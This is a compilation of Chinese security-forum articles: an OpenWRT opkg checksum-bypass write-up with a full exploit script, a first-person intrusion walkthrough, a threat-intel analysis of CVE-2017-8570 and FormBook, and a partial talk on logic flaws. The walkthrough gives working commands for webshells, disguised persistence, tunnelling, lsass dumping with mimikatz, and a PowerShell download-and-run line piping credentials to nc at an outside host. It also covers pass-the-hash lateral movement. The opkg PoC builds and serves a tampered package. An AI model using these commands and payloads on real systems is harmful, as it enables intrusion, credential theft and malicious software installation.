理论上来讲，因为使用了签名，即使传输通道(HTTP)并不安全，软件包列表和软件压缩包也不会被篡改。
关于这部分内容的讨论可以看[这里](https://whydoesaptnotusehttps.com/)。
## 漏洞
在用户通过`opkg install <package>`安装软件包后，`opkg`会首先解析软件包列表。
解析器遍历每个包条目，并根据字段类型执行不同的操作，如果是`SHA256sum`字段，解析器会调用`pkg_set_sha256`：
312 else if ((mask & PFM_SHA256SUM) && is_field("SHA256sum", line))
313 pkg_set_sha256(pkg, line + strlen("SHA256sum") + 1);
`pkg_set_sha256`会尝试将`SHA256sum`字段从十六进制转为二进制，并以内部形式存储：
244 char *pkg_set_sha256(pkg_t *pkg, const char *cksum)
245 {
246 size_t len;
247 char *p = checksum_hex2bin(cksum, &len);
248
249 if (!p || len != 32)
250 return NULL;
251
252 return pkg_set_raw(pkg, PKG_SHA256SUM, p, len);
253 }
如果解码失败，程序自动结束，并不保存哈希值。
漏洞发生在`checksum_hex2bin`中，这个漏洞很容易被忽略，你能找到它吗？
234 char *checksum_hex2bin(const char *src, size_t *len)
235 {
236 size_t slen;
237 unsigned char *p;
238 const unsigned char *s = (unsigned char *)src;
239 static unsigned char buf[32];
240
241 if (!src) {
242 *len = 0;
243 return NULL;
244 }
245
246 while (isspace(*src))
247 src++;
248
249 slen = strlen(src);
250
251 if (slen > 64) {
252 *len = 0;
253 return NULL;
254 }
255
256 for (p = buf, *len = 0;
257 slen > 0 && isxdigit(s[0]) && isxdigit(s[1]);
258 slen--, s += 2, (*len)++)
259 *p++ = hex2bin(s[0]) * 16 + hex2bin(s[1]);
260
261 return (char *)buf;
262 }
最开始，变量`s`和`src`都指向同一地址。
在第246行，变量`src`前进到第一个非空格字符，然而在实际进行解码时，256行的`for`循环是在变量`s`上进行操作，而变量`s`仍旧指向字符串的起始位置。
因此，如果输入的字符串开头有任何空格字符的话，程序就会尝试对空格字符进行解码，而空格字符并不是十六进制字符，所以`isxdigit()`会返回`false`，解码器的循环立即终止，`*len`为`0`。
再次检查解析器，可以看到传递给`pkg_set_sha256`的字符串是”SHA256sum:”后面的部分字符串：
313 pkg_set_sha256(pkg, line + strlen("SHA256sum") + 1);
这就意味着这个部分字符串的第一个字符是一个空格。
软件包列表解析完成后，通过HTTP下载软件包。
接下来会进行几个验证步骤。
下载的软件包大小必须等于软件包列表中的指定大小：
1379 pkg_expected_size = pkg_get_int(pkg, PKG_SIZE);
1380
1381 if (pkg_expected_size > 0 && pkg_stat.st_size != pkg_expected_size) {
1382 if (!conf->force_checksum) {
1383 opkg_msg(ERROR,
1384 "Package size mismatch: %s is %lld bytes, expecting %lld bytesn",
1385 pkg->name, (long long int)pkg_stat.st_size, pkg_expected_size);
1386 return -1;
1387 } else {
1388 opkg_msg(NOTICE,
1389 "Ignored %s size mismatch.n",
1390 pkg->name);
1391 }
1392 }
如果指定了这个软件包的SHA256哈希值，该哈希值也必须匹配：
1415 /* Check for sha256 value */
1416 pkg_sha256 = pkg_get_sha256(pkg);
1417 if (pkg_sha256) {
1418 file_sha256 = file_sha256sum_alloc(local_filename);
1419 if (file_sha256 && strcmp(file_sha256, pkg_sha256)) {
1420 if (!conf->force_checksum) {
1421 opkg_msg(ERROR,
1422 "Package %s sha256sum mismatch. "
1423 "Either the opkg or the package index are corrupt. "
1424 "Try 'opkg update'.n", pkg->name);
1425 free(file_sha256);
1426 return -1;
1427 } else {
1428 opkg_msg(NOTICE,
1429 "Ignored %s sha256sum mismatch.n",
1430 pkg->name);
1431 }
1432 }
1433 if (file_sha256)
1434 free(file_sha256);
1435 }
但是因为`checksum_hex2bin`没有办法对`SHA256sum`字段进行解码，所以1418行之后的代码被直接跳过。
这个漏洞很像三年前，在2017年2月发现的一个漏洞：<https://git.openwrt.org/?p=project/opkg-lede.git;a=blobdiff;f=libopkg/file_util.c;h=155d73b52be1ac81d88ebfd851c50c98ede6f012;hp=912b147ad306766f6275e93a3b9860de81b29242;hb=54cc7e3bd1f79569022aa9fc3d0e748c81e3bcd8;hpb=9396bd4a4c84bde6b55ac3c47c90b4804e51adaf>
## 漏洞的利用
为了利用这个漏洞，攻击者需要在一个Web服务器上提供（受损的）软件包。
为此，攻击者必须能够拦截并替换设备与`downloads.openwrt.org`之间的通信，或者控制设备使用的DNS服务器，让`downloads.openwrt.org`指向攻击者控制的web服务器。
如果攻击者与设备处在同一网络中，攻击者可以使用数据包欺骗或者ARP缓存感染的方式进行攻击，但是我还没测试过这种情况。
唯一的限制条件就是，受损软件包大小要和软件包列表中的`Size`字段相匹配。
要实现这点很简单：
1、创建一个小于原始包的受损软件包；
2、计算原始包与受损软件包之间的大小差异；
3、在受损软件包后添加相同数量的0字节；
下面的PoC说明了如何实现漏洞利用：
#!/bin/bash
# 从镜像下载软件包列表
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/base/Packages.gz
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/base/Packages.sig
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/luci/Packages.gz
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/luci/Packages.sig
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/packages/Packages.gz
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/packages/Packages.sig
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/routing/Packages.gz
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/routing/Packages.sig
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/telephony/Packages.gz
wget -x http://downloads.openwrt.org/snapshots/packages/x86_64/telephony/Packages.sig
wget -x http://downloads.openwrt.org/snapshots/targets/x86/64/packages/Packages.gz
wget -x http://downloads.openwrt.org/snapshots/targets/x86/64/packages/Packages.sig
mv downloads.openwrt.org/snapshots .
rm -rf downloads.openwrt.org/
# 获得原始软件包
wget http://downloads.openwrt.org/snapshots/packages/x86_64/packages/attr_2.4.48-2_x86_64.ipk
ORIGINAL_FILESIZE=$(stat -c%s "attr_2.4.48-2_x86_64.ipk")
tar zxf attr_2.4.48-2_x86_64.ipk
rm attr_2.4.48-2_x86_64.ipk
# 提取二进制文件
mkdir data/
cd data/
tar zxvf ../data.tar.gz
rm ../data.tar.gz
# 创建用于替换的二进制文件，这是一个很小的程序，只打印一个字符串。
rm -f /tmp/pwned.asm /tmp/pwned.o
echo "section .text" >>/tmp/pwned.asm
echo "global _start" >>/tmp/pwned.asm
echo "_start:" >>/tmp/pwned.asm
echo " mov edx,len" >>/tmp/pwned.asm
echo " mov ecx,msg" >>/tmp/pwned.asm
echo " mov ebx,1" >>/tmp/pwned.asm
echo " mov eax,4" >>/tmp/pwned.asm
echo " int 0x80" >>/tmp/pwned.asm
echo " mov eax,1" >>/tmp/pwned.asm
echo " int 0x80" >>/tmp/pwned.asm
echo "section .data" >>/tmp/pwned.asm
echo "msg db 'pwned :)',0xa" >>/tmp/pwned.asm
echo "len equ $ - msg" >>/tmp/pwned.asm
# 编译
nasm /tmp/pwned.asm -f elf64 -o /tmp/pwned.o
# 链接
ld /tmp/pwned.o -o usr/bin/attr
# 压缩进data.tar.gz
tar czvf ../data.tar.gz *
cd ../
# 移除不需要的文件
rm -rf data/
# 压缩
tar czvf attr_2.4.48-2_x86_64.ipk control.tar.gz data.tar.gz debian-binary
# 移除不需要的文件
rm control.tar.gz data.tar.gz debian-binary
# 计算原始软件包和受损软件包间的大小差异
MODIFIED_FILESIZE=$(stat -c%s "attr_2.4.48-2_x86_64.ipk")
FILESIZE_DELTA="$(($ORIGINAL_FILESIZE-$MODIFIED_FILESIZE))"
# 向受损软件包中填充对应数量的0字节
head /dev/zero -c$FILESIZE_DELTA >>attr_2.4.48-2_x86_64.ipk
# 下载attr的依赖项
wget http://downloads.openwrt.org/snapshots/packages/x86_64/packages/libattr_2.4.48-2_x86_64.ipk
# 将在web server上提供服务的文件放入对应位置
mkdir -p snapshots/packages/x86_64/packages/
mv attr_2.4.48-2_x86_64.ipk snapshots/packages/x86_64/packages/
mv libattr_2.4.48-2_x86_64.ipk snapshots/packages/x86_64/packages/
# 启动opkg要连接的web服务器
sudo python -m SimpleHTTPServer 80
假设Web服务器的IP地址为`192.168.2.10`，在OpenWRT系统上运行如下命令：
echo "192.168.2.10 downloads.openwrt.org" >>/etc/hosts; opkg update && opkg install attr && attr
漏洞修复之前，上面的命令执行后会输出`pwned :)`。
注意命令中对`/etc/hosts`文件的修改是必须的，因为要模拟中间人（或者说破坏DNS）攻击
## 如何防范
在我报告这个漏洞后不久，OpenWRT就把软件包列表中`SHA256sum`字段的空格去掉了。
这么做可以减轻用户的风险，在此之后更新软件包列表的用户不易再受攻击，因为软件包安装过程不会再跳过哈希验证步骤。
但是这并不是一个长期解决方案，因为攻击者只需要提供一个OpenWRT签名的旧版本软件包列表就可以绕过该方法。
这个[commit](https://git.openwrt.org/?p=project/opkg-lede.git;a=commit;h=c09fe2098718807ddbca13ee36e3e38801822946)已经修复了`checksum_hex2bin`zh中的漏洞，并将其整合到了OpenWRTde
18.06.7和19.07.1版本中，这两个版本已于2020年2月1日发布。
我的建议是将OpenWRT版本升级到18.06.7或19.07.1。
## 补充笔记
早在2016年，Google Project Zero的Jann Horn就在Debian的apt包管理器中发现了一个类似的漏洞。
去年，Max Justicz发现了另一个相似的漏洞。 | 社区文章 |
# 初遇域林不知所措
* 核心任务是拿到特定目标的数据，番外任务是域控和邮件服务器
如果是刷洞直接根据关键URL搜集目标就行了，针对目标就麻烦一点点。按流程走先作被动信息搜集，利用谷歌、微步、Shodan整理出目标的子域名、真实IP等资产信息
主动信息搜集前需要准备好梯子、肉鸡等用于流量中转与C2的服务器，跑字典爆一下可能尚未被收录的漏网子域名，nmap扫一下各IP段的各Web常用端口并记录关键字（方便后续找对应内网IP），如果某IP段存在大量目标Web服务器基本就是未来的内网入口了
试了一下发现用扫描器并不会被关小黑屋，于是上了大家喜闻乐见的以发包少速度快为宗旨的XRay，配合Crawlergo作主动爬虫食用更佳，参照官方文档即可愉快地相互配合跑起来（此处应有五毛广告费（//▽//））
刷新一下有结果了就开始冲冲冲，利用对应EXP写入webshell。`whoami`的结果是`xxx-setup`，看到前缀估计域环境有戏，执行`ipconfig /all`和`net time /domain`
再康康`tasklist`，除一些服务器进程外还有Chrome、企业版迈克菲，确定杀软后准备上线CS大干一场
`Listener`开起反向监听，`Attacks`->`Web Drive-by`->`Scripted Web
Delivery`设置好PowerShell的Payload，远程加载走起～
然后。。。超时。。。再试试。。。超时。。。看着CS空荡荡的WebLog一脸蒙蔽。。。
`ping`一下必应试试。。。超时。。。谷歌。。。超时。。。
再康康`netsh firewall show
config`，发现系统防火墙是关了的，但是被迈克菲统一接管了，基本可以确定出网流量被WAF拦截了。想了一下只可能传代理脚本走WebSocket进正向内网，起先一个个试了ABPTTS、Neo-reGeorg、reGeorg、reDuh都是报错，后来搜了一下报错发现是OpenSSL版本不匹配，高版本默认直接中断了某些安全性不够强的算法，降了下版本好了
`python3 neoreg.py -k passwd -u https://URL -l 0.0.0.0 -p 8899 -vv`
测试发现内网C段外的机器都禁ping了，接着开始扫描SMB、SSH、Web、RDP、FTP、NFS、Oracle、MSSQL、MySQL、Redis等服务
这里插播一下Tips，扫描可以用proxychains将nmap流量代理进内网扫描，也可以利用msf的隧道将auxiliary模块代理进内网扫描：
# vim /etc/proxychains.conf
socks5 1.1.1.1 8899
# msfconsole
setg Proxies socks5:1.1.1.1:8899
setg ReverseAllowProxy true
在其它位置多留几个更隐蔽的webshell，比如将文件名、修改时间等作好伪装，时间久了被发现是迟早的事，如果还有火种就能再抢救一下不至于前功尽弃
扫描的同时继续看一下Shell机的信息，可以发现内网存在相当大的域林
type C:\Windows\System32\drivers\etc\hosts
arp -a 网段活跃IP
netstat -nao 网络连接
net view /domain 域列表
net accounts /domain 域密码策略
net config workstation 本机所在域
net group /domain 域用户组列表
net group "domain admins" /domain 域管列表
net user /domain 域用户列表
net user "User_Name" /domain 特定域用户信息
systeminfo
wmic product
再插播一下，可能存在某个盘符打不开的情况，很有可能是光驱的盘符。有些新装系统除了C盘，其余盘符是安装好后才格式化出来的，这就导致了形如D这样的盘符提前被光驱占掉了。如果是自己的新电脑，看着不爽可以在格式化其它盘符之前将光驱驱动禁用释放出D盘符
接着上传procdump将hash扒下来，有GUI环境的可以通过任务管理器在进程上右键点击[Create dump file]
procdump.exe -ma lsass.exe lsass.dmp
# 本地mimikatz
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
网络实在太差可以通过webshell用免杀mimikatz非交互式读
`mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords full"" exit
>> shash.txt`
或是通过powershell版mimikatz直接远程读了传回来
`powershell "IEX (New-Object
Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds" | nc 1.1.1.1 9999`
抓到NTLM后在cmd5查了一下只解出了本地管理员密码，域用户密码解不出。利用IPC共享和解出的管理员密码，配合SMB的扫描结果尝试挂载其它机器
`net use z: \\IP\c$ "passwd" /user:"Administrator"`
其中有一台目录结构与shell机几乎一模一样，刚开始猜测是负载均衡，但内网访问Web时会跳转回Shell机，接着又发现了另外几对这种双胞胎，综合考虑后觉得应该是灾备机，稳妥起见同样留个webshell
起初外网Web扫描时做好对应IP和端口的关键字标记，在内网横向打Web服务器时便可迅速对号入座，高效地扩大战果
IPC共享收割完后，使用抓到的域管NTLM利用pth（PassTheHash）继续收割，试了下Kali自带的几个不是很好用，threst师傅安利另外一个
`proxychains evil-winrm.rb -i 1.1.1.1 -u username -H
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx`
利用powershell递归搜索特定后缀文件`(dir -r *.xmls).FullName`
如果各种config文件实在找不到Web文件夹绝对路径，可以找找log文件夹翻翻里面的访问日志看看能不能撞上相同目录结构
然而还是有很多aspx的站却找不到`.aspx`的文件，在IIS的默认页面放个静态文件测试`C:\inetpub\wwwroot\1.html`发现是可以解析的，但是直接写aspx的马却会间歇性404，后来了解到是sharepoint的锅。前阵子好像爆了个新洞，还没去看
扫尾读一下shell机上的chrome浏览器中保存的几个后台密码，还没来得及扒完横向到的机子的哈希就被蓝队撤换上了灾备的机子。。。连上之前留在灾备机上的马代理上流量继续冲冲冲，可能是因为把人家逼急了，第二天把最初的入口站直接整个下线了
_(:з」∠)_
这样一来就索性避避风头，打打游戏种种地混吃等死休息一阵，萌新边打边学槽点满满的第一阶段告一段落 | 社区文章 |
作者： [360威胁情报中心](https://mp.weixin.qq.com/s/dMqovzZ70SJgdnfAZtcZMg "360威胁情报中心")
#### 概述
360威胁情报中心曾在2017年8月发布了《乌龙的CVE-2017-8570样本及背后的狗血》（详见参考资料[1]），当时由于在VirusTotal上发现了多例标注为CVE-2017-8570的Office幻灯片文档恶意样本，所以有安全厂商宣称第一时间捕获了最新的Office
CVE-2017-8570野外利用漏洞样本，但经过360威胁情报中心的分析判断，这批Exploit样本实际上是CVE-2017-0199的另外一种利用方式（通过Office幻灯片加载执行Scriptletfile脚本），在微软2017年4月份的补丁中已经针对CVE-2017-0199这种利用方式实行了修补。
直到本月初，360威胁情报中心才监控到互联网上首次出现了真实的CVE-2017-8570野外攻击样本，基于360威胁情报中心的数据，以下热力图显示了从2018年1月11日以来CVE-2017-8570样本量的提交情况，可以看到漏洞Exploit一旦公开使用，马上就会进入被攻击者频繁使用的状态：
另外，因为CVE-2017-0199有天生缺陷（这部分我们会在随后的章节中描述），实际上目前已公开的CVE-2017-0199利用样本在Office
Word上的利用威胁并不大，而CVE-2017-8570并没有该缺陷，所以8570在Office
Word上利用的实际效果要比0199好很多，但POC构造相对较难，这也是一开始没有发现野外利用的原因之一。
#### 样本分析
该漏洞还处于未被利用或尚无已知利用的状态：
直到2018年1月11日左右，360威胁情报中心才首次发现野外第一个利用CVE-2017-8570的RTF样本，随后利用CVE-2017-8570漏洞的攻击样本逐渐增多，我们选择最近出现的一个真实攻击样本进行分析。
##### 野外利用的RTF样本分析
由于真实的CVE-2017-8570漏洞攻击样本在本月前几乎未出现过，所以相关杀软对该漏洞的检出率还不够理想，以我们接下来分析的攻击样本在VirusTotal上的查杀情况来看，57家杀软中只有11家能够查杀：
##### 恶意RTF样本分析：
样本利用了RTF文档在VISTA以后的系统中会自动释放Package对象到%tmp%目录的特性，在文档将恶意Scriptletfile（.sct）脚本文件以Package对象的方式插入，在受害者打开RTF文档后，Package对象中的Scriptletfile（.sct）脚本文件会自动释放到%tmp%目录下
样本插入了两个关键的Objdata，其中一个是Package对象，包含的其实是一个Scriptletfile（.sct）脚本文件：
另一个则是包含了CVE-2017-8570漏洞的OLE2Link对象：
打开RTF文档后，自动释放Package对象到%tmp%目录，插入的Package对象实际上是一个恶意Scriptletfile（.sct）脚本文件
另一个OLE2Link对象用来触发漏洞，漏洞触发成功后会直接加载%tmp%目录下的MUZTWOWEZTHOBKW.sct脚本执行
包含漏洞的OLE2Link对象中使用了Composite Moniker来将“绑定”一个File Moniker，而File
Moniker顾名思义会指定一个文件，漏洞样本中的File
Moniker指定的是本地%tmp%目录中的sct脚本文件，而该sct脚本文件恰好是Package对象中释放出来的：
File Moniker检测到加载的文件后缀是.sct后，通过COM接口加载执行Scriptletfile脚本文件
sct文件中调用Jscript，从网络中下载Payload（远控木马）保存为`%APPDATA%\adobeupdated2.exe`并执行
#### Payload
分析发现样本使用的Payload是FormBook远控软件，FormBook是一款以窃密为主的远程控制软件。FireEye曾报道过有APT组织使用FormBook作为Payload针对美韩航空航天公司、国防承包商与部分制造企业展开网络钓鱼攻击。
样本使用了VB编写，运行后首先以挂起状态创建一个新的自身进程，之后解密出真正的恶意代码，再使用ZwWriteVirtualMemory将恶意代码写入到刚创建的傀儡进程中，最后启动傀儡进程执行恶意代码。傀儡进程首先遍历进程列表查找Explorer.exe，并使用NtMapViewOfSection向Explorer.exe注入ShellCode：
Explorer中注入的ShellCode会在`%systemroot%\system32`下随机选取一个exe文件再次以傀儡进程的方式注入ShellCode，新的傀儡进程会删除原始病毒样本，并重新向Explorer.exe注入ShellCode，该ShellCode
为最终的执行的恶意代码。之后恶意代码会连接C&C服务器，以Get方式发送连接请求：
通过判断C&C指令以及特殊的“FBNG”字符串标志来执行对应的木马功能：
接收指令以及对应的木马功能：
木马执行流程
##### Exploit来源
2018年1月9日，有安全研究人员在GitHub上（<https://github.com/rxwx/CVE-2017-8570>）上传了CVE-2018-8570的漏洞利用构造工具，360威胁情报中心通过分析确认该工具的确为针对CVE-2018-8570的Exploit构造工具，并且捕获到的攻击样本几乎都是使用该工具生成。
考虑到漏洞相关的技术细节和验证程序已经公开，所以此漏洞接下来极有可能被利用来执行大规模的攻击。
#### 漏洞分析
##### 漏洞概述
微软在2017年7月的安全更新中修复了这个针对Office的远程命令执行漏洞（CVE-2017-8570），该漏洞实际上是利用了Office
OLE中的Composite Moniker对象在组合File Moniker对象的过程中，未做安全性检测，将File
Moniker对象指定的远程/本地的ScriptletFile（.sct）脚本文件在Office中直接执行。
微软修复CVE-2017-0199实际上是在Office中禁用了htafile对象和script对象，而没有禁用ScriptletFile对象，由于通过Composite
Moniker的方式可以执行ScriptletFile（.sct）脚本，相当于绕过了CVE-2017-0199的补丁修复，所以在针对CVE-2017-8570的补丁修复中，微软禁用了ScriptletFile对象：
* 2017年4月，修复CVE-2017-0199，禁用htafile对象和script对象
* 2017年7月，修复CVE-2017-8570，禁用ScriptletFile对象
Composite Moniker对象的作用是可以将某个Moniker对象定义为一个新的Moniker对象（New
Moniker），或者将多个Moniker对象进行组合，比如可以使用Composite Moniker对象将两个File
Moniker对象组合成一个。假设Composite Moniker对象包含了两个File Moniker对象：
* File Moniker 1："c:\work\art"
* File Moniker 2："..\backup\myfile.doc"
通过Composite Moniker对象进行组合后，相当于得到了一个带有完整文件路径的File
Moniker对象："c:\work\backup\myfile.doc"。
在触发漏洞的样本中有三个Moniker对象，分别是：
* Composite Moniker：{00000309-0000-0000-C000-000000000046}
* File Moniker：{00000303-0000-0000-C000-000000000046}
* New Moniker：{ECABAFC6-7F19-11D2-978E-0000F8757E2A}
样本中的Composite Moniker将File Moniker定义为了一个New Moniker新对象：
##### 执行ScriptletFile脚本
Composite Moniker在将File Moniker定义为一个New
Moniker新对象的过程中，会调用`IMoniker::BindToObject`方法将File
Moniker进行Bind操作，`IMoniker::BindToObject`函数原型如下：
HRESULT BindToObject(
[in] IBindCtx *pbc,
[in] IMoniker *pmkToLeft,
[in] REFIID riidResult,
[out] void **ppvResult
);
pmkToLeft则指向File Moniker，File
Moniker在样本中指定的文件为：`%tmp%\MUZTWOWEZTHOBKW.sct`，而由于File
Moniker需要初始化指定的文件，对象在检测到文件后缀后.sct后，会自动在注册表中查找处理.sct文件的接口：
确定.sct后缀
关联scriptletfile的CLISD
定位处理接口
查找到处理.sct文件的处理接口后，调用对应的接口启动.sct脚本执行环境，并执行脚本，栈回溯显示整个流程执行过程：
0:000> k
ChildEBP RetAddr
0037abe8 62e048ff jscript!CScriptRuntime::Run <-- 执行.sct脚本
0037ace4 62e04783 jscript!ScrFncObj::CallWithFrameOnStack+0x15f
0037ad3c 62e04cc3 jscript!ScrFncObj::Call+0x7b
0037ade0 62e13797 jscript!CSession::Execute+0x23d
0037ae2c 62e10899 jscript!COleScript::ExecutePendingScripts+0x16b
0037ae48 6c61831f jscript!COleScript::SetScriptState+0x51
0037ae58 6c618464 scrobj!ScriptEngine::Activate+0x1a
0037ae70 6c6199d3 scrobj!ComScriptlet::Inner::StartEngines+0x6e
0037aec0 6c61986e scrobj!ComScriptlet::Inner::Init+0x156
0037aed0 6c61980b scrobj!ComScriptlet::New+0x3f
0037aef0 6c6197d0 scrobj!ComScriptletConstructor::CreateScriptletFromNode+0x26
0037af10 6c623b7e scrobj!ComScriptletConstructor::Create+0x4c
0037af3c 6c612946 scrobj!ComScriptletFactory::CreateInstanceWithContext+0x115
0037af58 53c464be scrobj!ComBuiltInFactory::CreateInstance+0x19
0037afac 7601b573 comsvcs!CNewMoniker::BindToObject+0x14f <-- New Moniker
0037afe0 76083d8e ole32!CCompositeMoniker::BindToObject+0x105 <-- Composite Moniker定义File Moniker
0037b04c 31a82c6a ole32!CDefLink::BindToSource+0x1bf
WARNING: Stack unwind information not available. Following frames may be wrong.
0037b090 3152f55e wwlib!wdGetApplicationObject+0x6cd2f
0037b120 31473477 wwlib!DllGetClassObject+0x158a4c
0038031c 314667ef wwlib!DllGetClassObject+0x9c965
003831e0 3146501f wwlib!DllGetClassObject+0x8fcdd
##### 漏洞成因
由于整个处理过程都没有进行安全检测（是否可以执行可能包含恶意代码的脚本），但其中的每一个步骤单独看来都没有安全问题：Composite
Moniker将File Moniker定义为New Moniker、File
Moniker按照正常的流程识别加载.sct文件等等，但是将所有环节组合起来却导致了安全隐患，这是导致该漏洞的问题所在。
##### 弥补CVE-2017-0199的天生缺陷
CVE-2017-0199漏洞利用的方式有两种，一种是在Office Word文档中利用，一种是在Office幻灯片中利用。已经公开的Office
Word文档中利用方法主要是通过漏洞执行.hta脚本，360威胁情报中心分析发现，其实大部分操作系统由于各种原因已经在注册表中对ActiveX控件执行.hta脚本的COM接口设置了killbit，也就是即使没有打上CVE-2017-0199漏洞补丁，在Office
Word文档中也无法执行.hta脚本：
这使得CVE-2017-0199漏洞在Office
Word文档中的利用威胁并不大，然而CVE-2017-8570漏洞利用执行的.sct脚本对应的COM接口却并未被禁止，所以CVE-2017-8570在Office
Word文档中的威胁要比CVE-2017-0199大很多。
#### 防护建议
##### 补丁修复
软件厂商微软已经发布了漏洞相应的补丁，360威胁情报中心建议用户及时更新Office补丁修复漏洞：
<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8570>
##### 禁用“Package” ActiveX Control
360威胁情报中心监控到利用RTF文档自动释放恶意Package对象到%tmp%目录的特性进行Office漏洞攻击的样本越来越多，包括最近的CVE-2017-11882等漏洞利用也使用了该技巧，所以360威胁情报中心建议用户如果不需要使用插入Package对象这类功能，可以在注册表中通过设置killbit的方式禁用，以封堵这类攻击入口：
#### 总结
从360威胁情报中心捕获到的样本来看，CVE-2017-8570漏洞利用样本公开使用后，马上就进入被频繁使用的状态，并且由于没有CVE-2017-0199在Office
Word中利用的“缺陷”，相信后续会有更多攻击者使用CVE-2017-8570替代CVE-2017-0199进行漏洞攻击。360威胁情报中心再次提醒用户，尽量不要打开来源不明的文档，也可以使用360安全卫士之类的防病毒软件对文档进行扫描后再打开以尽可能降低风险。
#### IOC
#### 参考资料
[1] <http://www.freebuf.com/news/143685.html>
[2] <https://justhaifei1.blogspot.co.uk/2017/07/bypassing-microsofts-cve-2017-0199-patch.html>
[3] <https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8570>
[4] <https://github.com/rxwx/CVE-2017-8570>
[5] <https://msdn.microsoft.com/en-us/library/windows/desktop/ms693788(v=vs.85).aspx>
* * * | 社区文章 |
原文首发SecWiki微信公众号 未授权请勿转发
2017年4月10日，晚上9点，伴随着一阵琴声，secwiki的第二次技术分享大会正式开始。这次的主讲人是Blood_zer0，是一个去年开始活跃在部分src的白帽子，并且希望与各位朋友讨论漏洞挖掘技术。
**那些年错过的大雨，那些年错过的逻辑**
有些时候，我们费尽心思找洞，各种套路都上用了，奈何甲方的安全做的太足，苦苦找了一天，最后却以失败收场。过了一天后，偶然看到别的白帽子在漏洞平台提交了一篇关于这个企业的漏洞，标题中有个“逻辑漏洞”，这才反应过来，原来应该改的是xxx参数......
## **什么是逻辑漏洞**
Blood_zer0总结为：利用业务的设计缺陷，获取敏感信息或破坏业务完整。一般出现在任意密码修改（没有旧密码验证）、越权访问、密码找回、交易支付金额。其中越权访问又有水平越权和垂直越权两种。水平越权：就是相同级别（权限）的用户或者同一角色不同的用户之间，可以越权访问、修改或者删除的非法操作。如果出现此漏洞，那么将可能会造成大批量数据泄露，严重的甚至会造成用户信息被恶意篡改。垂直越权：垂直越权是不同级别之间或不同角色之间的越权；垂直越权又别分为向上越权与向下越权。比如，某些网站，像发布文章、删除文章等操作属于管理员该做的事情。假设一个匿名用户也可以做相同的事情，这就叫做向上越权；向下越权是一个高级用户可以访问低级用户信息（这也是不行的，这会暴漏用户的隐私）。
* * *
## **安全测试阶段**
发展经历了三个阶段。首先，最早的时候的漏洞测试是不分什么类型的测试的，也没有src这种组织，一般是“基于功能/性能”的安全测试，如压测，软件bug。之后才进入到了“基于漏洞类型”的安全测试阶段，最后的“基于业务场景”的安全测试阶段，也是目前处在的安全测试阶段，这是一个很大的版块。那么，为什么现在会处于这个阶段呢？Blood_zer0为我们给出了相应解答。
**关注的原因**
关注的原因有两点，一点是“Bypass一切防护设备”，另外一点是“没有很好的解决方案，比如再牛逼程序员都可能挖坑，互联网公司业务迭代太快等。回顾以往，Blood_zer0说，走到今天这步，其实很多白帽子是不具备Bypass防护设备的能力的，更多的是基于一些不会触碰这些规则的东西，这些不会触碰规则的东西就是逻辑漏洞了。
* * *
## **如何挖掘逻辑漏洞**
Blood_zer0指出，要测试一个网站的逻辑漏洞，首先应该知道它的各个业务的流程。如现在的一些p2p理财网站，首先是注册，然后是实名，之后领红包什么的，这是一个必须的流程，而且这个流程不只适用于逻辑漏洞的挖掘，我们在挖掘一些平常的漏洞也可以用到这个流程。之后，Blood_zer0进入下一下流程，对于每一步的数据包进行抓取，然后分析敏感参数。
关于数据包，Blood_zer0指出，对于抓取的海量的数据包，我们更应该关注的是一些get，post请求的数据包，包括这些数据包里面的一些参数，如get里面的http头里面的参数，post的body里的参数。之后就是对于这些参数的一些猜想，假设。猜想服务器是怎么处理这些参数的？这些参数有什么作用？例如，一个验证码机制。生成的验证码是前端生成的还是后端生成的？验证码的验证是由前端验证还是由后端验证？进行了猜想之后，我们就需要修改参数来验证我们的猜想，这就是最后一步了。
* * *
* * *
**用到的一些工具**
接下来Blood_zer0为我们介绍了几个在挖掘逻辑漏洞方面会用到的一些工具。
Burpsuite，这款工具是收费的，网络上也有破解版，并且网络上也有很多的使用教程，同学们将这个软件用好，对于渗透的帮助是很大的。
Fiddler，这款工具和Burpsuite相差不多，各方面也是非常的优秀，Blood_zer0指出，它和Burpsuite可能就是在爆破上差了点。
Charies，这款工具是收费的，网上也没有很好的破解版本，然后这个工具主要是针对Linux和Mac的一个抓包工具，功能上可能没有Burpsuit强大，但是大道至简，对于一些https一些协议的解密是非常好的。
Mitmproxy，这是一个python语言编写的抓包工具，并且是开源的。Blood_zer0建议我们可以抱着学习的态度去用这个工具，学习下它的设计理念，包括它的代码开发。
* * *
## 案例
* * *
**案例（一）**
Blood_zer0为我们分享了一个购物的优惠券使用的案例。
环境：购物时拥有优惠券，但是优惠券不可用！简单的来说，就是拥有的这个优惠券是A店铺的，只能用在A店铺，不能用在B店铺。
条件1：当我不是一个白帽子，是一个普通用户。
姿势：在这个A店铺购买商品，给自己买或者送人。
条件2：我是个白帽子。
姿势：我会去测试一下这个优惠券能否修改相应参数，从而达到在B店铺购买的目的。在B店铺购买商品的时候，因为没有优惠券，所以提交订单时的优惠券的id参数里面是空的。那么，猜想一下，能否将A店铺优惠券的id加在提交给B店铺的订单请求里面的优惠券的id参数里面，从而达到在B店铺中使用这个A店铺优惠券的效果呢？之后，结果证明，这是可以的。这就是一个逻辑漏洞了。
* * *
**案例（二）**
Blood_zer0为我们分享的第二个案例是等级提升，发放优惠券奖励。
环境：等级提升，发放优惠卷，但是每次只发一张！
条件1：当我不是一个白帽子。
姿势：不断刷级让系统发放。
条件2：当我是个白帽子。
